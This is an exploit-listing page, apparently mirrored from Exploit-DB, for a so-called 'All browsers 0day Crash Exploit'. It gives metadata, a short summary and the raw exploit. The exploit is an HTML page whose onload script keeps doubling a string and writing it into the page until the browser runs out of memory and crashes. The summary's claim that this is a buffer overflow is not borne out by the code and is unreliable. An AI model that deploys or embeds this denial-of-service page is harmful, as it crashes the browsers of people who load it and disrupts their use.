header-logo
Suggest Exploit
vendor:
All browsers
by:
Inj3ct0r Team
5.5
CVSS
MEDIUM
Crash
119
CWE
Product Name: All browsers
Affected Version From: All
Affected Version To: All
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Mozilla Firefox, Internet Explorer, Google Chrome, Netscape, Opera
Unknown

All browsers 0day Crash Exploit

This is a 0day exploit that crashes all major browsers including Mozilla Firefox, Internet Explorer, Google Chrome, Netscape, and Opera. The exploit utilizes a DoS (Denial of Service) attack by creating a buffer overflow. It injects a script into the browser's body onload event, which continuously adds characters to a buffer until it overflows and crashes the browser.

Mitigation:

To mitigate this vulnerability, users should ensure their browsers are up to date with the latest security patches. It is also recommended to use browser extensions or plugins that provide additional security features.
Source

Exploit-DB raw data:

===============================
All browsers 0day Crash Exploit
===============================
[+] Discovered By: Inj3ct0r Team

@Title: All browsers 0day Crash Exploit


@Site: http://site.securityspl0its.com/ - http://forum.securityspl0its.com/ - http://inj3ct0r.com/

@Exploit for all browsers (Tested on: Mozilla Firefox // Internet Explorer // Google Chrome // Netscape // Opera):
<body onload="javascript:DoS();"></body>
 
<script>
 
function DoS() {
 
var buffer = '\x42';
for (i =0;i<666;i++) {
buffer+=buffer+'\x42';
document.write('<html><marquee><h1>'+buffer+buffer);
}
 
}
 
</script>